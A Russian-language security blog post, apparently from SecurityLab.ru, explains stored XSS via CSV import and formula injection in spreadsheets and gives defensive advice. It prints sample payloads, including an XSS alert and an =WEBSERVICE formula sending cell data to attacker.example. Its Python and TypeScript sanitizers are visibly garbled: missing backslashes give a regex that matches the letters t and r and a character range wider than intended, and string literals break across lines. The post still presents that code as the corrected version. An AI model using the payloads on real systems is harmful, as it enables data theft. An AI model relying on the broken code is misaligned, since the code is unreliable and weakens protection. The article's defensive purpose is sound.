Опасные CSV: как импорты и экспорты приводят к XSS и инъекциям формул в Excel и Google Sheets

Опасные CSV: как импорты и экспорты приводят к XSS и инъекциям формул в Excel и Google Sheets

CSV кажутся безопасными: простые строки, запятые, никаких скриптов. Но именно эта простота и расслабляет. На деле CSV — удобный транспорт для вредоносного контента, который «взрывается» уже на стороне потребителя: в вашем веб-интерфейсе, при открытии файла в Excel/Google Sheets или при последующей конвертации в HTML. В этой статье разбираем, как возникают XSS и формульные инъекции из-за CSV, чем это опасно в реальных продуктах и как закрыть проблему на импорте и экспорте, не ломая UX.

Почему «обычный CSV» — не такой уж и обычный

CSV — это всего лишь текстовый формат таблиц, формализованный рекомендацией RFC 4180: запятые разделяют поля, кавычки экранируют содержимое, переносы строк отделяют записи. Проблема в том, что CSV — это не конечная точка. Его почти всегда кто-то импортирует или открывает в программах, которые умеют делать больше, чем просто показывать текст.

  • Веб-приложения читают CSV и сохраняют поля в БД. Если дальше эти поля выводятся в HTML без безопасного кодирования, вы получаете классическую хранимую XSS. Для тех, кто хочет системный взгляд на предотвращение XSS, полезен OWASP XSS Prevention Cheat Sheet.
  • Табличные редакторы (Excel, LibreOffice, Google Sheets) при открытии CSV могут интерпретировать данные как формулы. Это и есть «CSV/Formula Injection»: если я положу в CSV строку, начинающуюся с =, +, - или @, редактор попытается вычислить выражение. См. страницу OWASP: CSV Injection.

В результате одно и то же поле «Имя клиента» может превратиться то в кусок HTML-скрипта в вашем UI, то в формулу, которая уйдёт в интернет за «данными» к серверу злоумышленника. Последнее часто делают через функции вроде WEBSERVICE и связанные веб-функции Excel, перечисленные здесь.

Две основные линии атаки

1) Хранимая XSS через импорт CSV в веб-приложение

Сценарий знакомый: у вас есть импорт клиентов/товаров/тикетов из CSV. Вы прогоняете файл через библиотеку, мапите колонки к полям и пишете в БД. Дальше карточка клиента выводится в админке, и если там напрямую попадает строка из CSV, любой HTML или JavaScript оживает.

name,email,notes
 "Иван Петров","ivan@example.com","<img src=x onerror=alert('XSS')>"
 

Если поле notes потом рендерится как HTML без кодирования сущностей, это моментальный триггер XSS. Вариантов много: от кражи сессии до подмены банковских реквизитов в админке.

2) Формульная инъекция (Formula/CSV Injection) при открытии CSV

Здесь CSV сам по себе «чистый», но табличный редактор видит формулу и выполняет её. Классический пример — обращение к внешнему URL для эксфильтрации данных из соседних ячеек, объединения строк и т. п.

name,account,comment
 "Alice","A-001","=WEBSERVICE(""https://attacker.example/collect?note="" & ENCODEURL(A1))"
 

Открыв такой CSV, Excel на Windows попытается вычислить формулу (подробнее о функции см. документацию WEBSERVICE). Даже если политика безопасности запретит сетевые вызовы или спросит подтверждение, уже сам факт интерпретации данных как формулы — риск. Сводка по типичным проявлениям есть у OWASP.

Репрод: как проверить у себя (безопасно)

Чтобы понять, уязвим ли ваш импорт/экспорт, не нужны сложные стенды. Достаточно пары файлов и локального тестового окружения.

Проверка импорта (XSS)

  1. Подготовьте CSV с HTML в произвольном текстовом поле:
    title,description
     "Тест","<svg onload=alert(document.domain)>"
     
  2. Импортируйте файл в тестовую среду.
  3. Откройте страницу, где выводится поле description. Если всплывает алерт — у вас отсутствует безопасное кодирование при выводе.

Проверка экспорта (формульная инъекция)

  1. Создайте запись в системе, у которой одно поле начинается с =, +, - или @, например:
    =HYPERLINK("https://example.com","hi")
  2. Сделайте экспорт в CSV и откройте файл в Excel/LibreOffice/Sheets (на отдельной машине/VM).
  3. Если ячейка интерпретируется как формула — экспорт небезопасен. Поведение разных редакторов отличается, но общий принцип описан у OWASP.

Почему кавычки и «валидный CSV» не спасают

Многие надеются на «правильный» экспорт (кавычки, экранирование, RFC 4180) — и это важно, но не решает проблему интерпретации. Формула остаётся формулой, даже если она корректно заквотирована. RFC 4180 описывает только формат и MIME-тип text/csv — он ничего не говорит об исполнении формул при открытии файла редактором. См. сам текст RFC 4180.

Стратегии защиты: импорт

С импортом всё относительно прямолинейно: мы принимаем непроверенный текст и дальше выводим его в HTML. Значит, нужно одновременно проверять схему данных и безопасно кодировать вывод.

Политика ввода

  • Явные схемы и типы: для каждой колонки задайте тип (строка/число/дата) и ограничения длины/набора символов.
  • Фильтруйте управляющие символы: запретите необязательные символы управления, нулевые байты, невидимые разделители.
  • Нормализуйте переносы и кодировку: приводите всё к UTF-8, CRLF → LF и т. п. (подробности формата — в RFC 4180).

Безопасный вывод (обязательно)

Где бы вы ни показывали пользовательский текст (страницы, письма, PDF) — кодируйте вывод под контекст. Для HTML это превращение специальных символов в сущности; для атрибутов — ещё аккуратнее. Практическое руководство — OWASP XSS Prevention Cheat Sheet.

Пример: минимальная нейтрализация при импорте

Иногда бизнес требует «не ломать данные», а просто безопасно их хранить и потом выводить. Нейтрализовать формулы на уровне хранения можно так: если строка начинается с опасного префикса, добавьте апостроф. Табличные редакторы покажут текст, а не формулу.

# Python
 import re
 
 # = + - @ покрывают формулы; t и r — обходы через whitespace-префиксы
 DANGEROUS_PREFIX = re.compile(r'^[=+-@tr]')
 
 def neutralize_cell(value: str) -> str:
     if value is None:
         return value
     s = str(value)
     return "'" + s if DANGEROUS_PREFIX.match(s) else s
 

Важно: это не замена безопасному кодированию при выводе. Это защита от «сюрпризов» при последующем экспорте/открытии в Excel.

Стратегии защиты: экспорт

Экспорт — главный источник формульных инъекций. Здесь задача — не допустить, чтобы потребитель файла неверно интерпретировал данные.

Базовые правила экспорта CSV

  • Нейтрализуйте формулы: если поле начинается с =, +, - или @, добавьте лидирующий апостроф '. Апостроф явно помечает «текст, а не формулу» в Excel и LibreOffice.
  • Кодируйте CSV правильно: кавычки внутри поля удваивайте, все поля берите в кавычки. MIME-тип text/csv, см. RFC 4180.
  • Добавьте BOM для Excel: при отдаче UTF-8 CSV добавьте в начало файла байты EF BB BF (BOM). Без него Excel на Windows открывает русские буквы как кракозябры, пользователь начинает «чинить» файл вручную — и именно в этот момент случайно запускает формулу. В Node.js это одна строка: 'uFEFF' + csvString; в Python — encoding='utf-8-sig' при записи файла.
  • Отдавайте как вложение: добавляйте заголовок Content-Disposition: attachment, чтобы браузер не пытался рендерить CSV как HTML-страницу.
  • Рассмотрите экспорт в XLSX: библиотеки позволяют жёстко задать тип ячейки как «текст», исключая интерпретацию формул. Это упрощает жизнь пользователям Excel.

Пример на Node.js/TypeScript

// = + - @ — формульные префиксы; t и r — обходы через пробельные символы
 const DANGEROUS = /^[=+-@tr]/;
 
 function safeCell(v: unknown): string {
   if (v === null || v === undefined) return '';
   const s = String(v);
   // Апостроф сообщает табличным редакторам: «это текст, не формула»
   return DANGEROUS.test(s) ? `'${s}` : s;
 }
 
 // Все поля оборачиваем в кавычки — надёжнее, чем «только если нужно»
 function escapeField(s: string): string {
   return `"${s.replace(/"/g, '""')}"`;
 }
 
 function toCsv(rows: Array<Record<string, unknown>>): string {
   if (!rows.length) return '';
   const headers = Object.keys(rows[0]);
   const headerLine = headers.map(h => escapeField(h)).join(',');
   const body = rows
     .map(r => headers.map(h => escapeField(safeCell(r[h]))).join(','))
     .join('r
'); // RFC 4180 требует CRLF // uFEFF — BOM: Excel на Windows без него открывает UTF-8 как кракозябры return 'uFEFF' + headerLine + 'r
' + body + 'r
'; }

Что исправлено относительно типичных «сломанных» вариантов:

  • Шаблонный литерал `'${s}` вместо строкового литерала '${s} — апостроф теперь реально добавляется.
  • Regex расширен до /^[=+-@tr]/ — закрывает обходы через ведущий таб или CR.
  • Все поля в кавычках через отдельную функцию escapeField — нет риска пропустить поле без обёртки.
  • 'r
    '
    вместо литеральных символов rn — строки теперь разделяются корректно по RFC 4180.
  • BOM в начале файла ('uFEFF') — Excel на Windows корректно распознаёт UTF-8 без ручного «ремонта» файла пользователем.

Многострочные ячейки. Если поле содержит перенос строки, и строка внутри ячейки начинается с =, некоторые редакторы (особенно старые или нестандартные) могут повести себя непредсказуемо. Стандартное экранирование — заключить всё поле в кавычки — обычно решает эту проблему, потому что правильный парсер трактует весь блок в кавычках как одну ячейку. Тем не менее, если в данных часто встречаются многострочные значения, стоит рассмотреть экспорт в XLSX с явным текстовым типом ячеек.

Про процессы: где ловить и как не пропускать

  • Контракт на уровень домена: договоритесь с владельцами продукта, что «значение, начинающееся с = + - @», считается потенциально опасным и подлежит нейтрализации при экспорте.
  • Юнит-тесты: добавьте тесты на то, что экспорт превращает =1+1 в '=1+1, а +7 999 в '+7 999.
  • Регулярные сканы: при импорте логируйте срабатывания «опасного префикса», чтобы понимать масштаб проблемы в данных.
  • Документация для пользователей: объясните, почему номера, начинающиеся с «+», в выгрузке выглядят как '+7…. Это не баг, а защита.

Частые вопросы

«У нас пользователи действительно вводят строки с "+". Мы сломаем их данные?»

Нет, вы не меняете значение — вы подсказываете редактору, что это текст, а не формула. Excel традиционно понимает апостроф как «показать как есть» (подробности поведения см. в официальной справке Excel по работе с текстовым форматом; полезны также обзоры веб-функций Excel: reference и страница функции WEBSERVICE).

«Один апостроф или два?»

Иногда советуют писать два апострофа (''=1+1) или пробел ( =1+1): мол, один апостроф «съедается» парсером при обратном импорте в систему. Это справедливо для некоторых сценариев round-trip, когда CSV идёт обратно к вам же. Для защиты при просмотре в Excel одного апострофа достаточно — редактор поймёт сигнал. Если данные будут повторно импортироваться программно, заранее определите соглашение: либо ваш импортёр умеет срывать лидирующий апостроф, либо используйте два.

«А если мы просто процитируем поля по RFC 4180?»

Это нужно, но недостаточно. Кавычки не мешают Excel вычислить формулу при открытии. Смотрите OWASP: CSV Injection.

«Мы не используем Excel, только Google Sheets»

Браузерные редакторы тоже интерпретируют формулы. Детали различаются по функциям и политике безопасности, но общий риск сохраняется (см. обзор OWASP и классификацию уязвимости в MITRE CWE-1236).

Шпаргалка (коротко)

  • Импортируете CSV → валидируйте по схеме, чистите управляющие символы, всегда кодируйте вывод под HTML-контекст ( OWASP Cheat Sheet).
  • Экспортируете CSV → нейтрализуйте ячейки, начинающиеся на = + - @ t r, добавляя апостроф перед значением; все поля оборачивайте в кавычки; добавьте BOM (uFEFF) для корректного UTF-8 в Excel; отдавайте как вложение; подумайте про XLSX с типами ячеек — особенно если в данных есть многострочные значения.
  • Тестируйте: положите <svg onload=alert(1)> в импорт и =1+1 в экспорт — убедитесь, что ни там, ни там ничего «не исполняется».
  • Зашивайте правила в код и контракты продукта, а не только в «памятку для операторов».

Для углубления

Итог

CSV — удобный формат обмена, но не «безопасная зона». Если ваши процессы включают импорт/экспорт таблиц, относитесь к ним как к полноценному входу/выходу пользовательских данных. Нейтрализуйте формулы на экспорте, кодируйте вывод на фронте, валидируйте на импорте — и CSV перестанет быть тихим маршрутом для XSS и инъекций.

CSV injection XSS формульная инъекция Excel Google Sheets импорт CSV экспорт CSV безопасность приложений OWASP
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
01
Апр 2026
13:00
Регистрация открыта
Форум SocioTech 2026:
как «подружить» бизнес,
службу ИБ и персонал
Камерное пространство для честного и культурного диалога ИБ и бизнеса — без типовых докладов, рекламы и воды.
Кому будет полезно: владельцам бизнеса, руководителям ключевых процессов и директорам по ИБ.
«Куб», Москва Регистрация
Реклама. 16+ ООО «ФИШМАН», ИНН 9715266823

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS